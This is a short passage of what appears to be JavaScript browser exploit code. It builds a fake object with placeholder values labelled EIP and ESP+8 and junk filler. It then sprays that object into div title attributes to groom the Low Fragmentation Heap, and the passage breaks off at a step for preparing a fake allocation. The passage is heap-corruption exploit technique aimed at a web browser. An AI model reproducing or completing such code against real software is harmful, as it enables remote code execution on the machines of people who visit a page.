            fakeobj += unescape("%u4141%u4141");        // EIP
            fakeobj += "BBBBBB";                        // Junk 2
            fakeobj += unescape("%u4343%u4343");        // (ESP+8)
            fakeobj += "CCCCCCCCC";                     // Junk 3

            // Trigger LFH
            for (var i=0; i<0x20; i++) {
                var div = window.document.createElement("div");
                div.title = fakeobj;
                lfh.push(div);
            }

            // Prepare fake alloca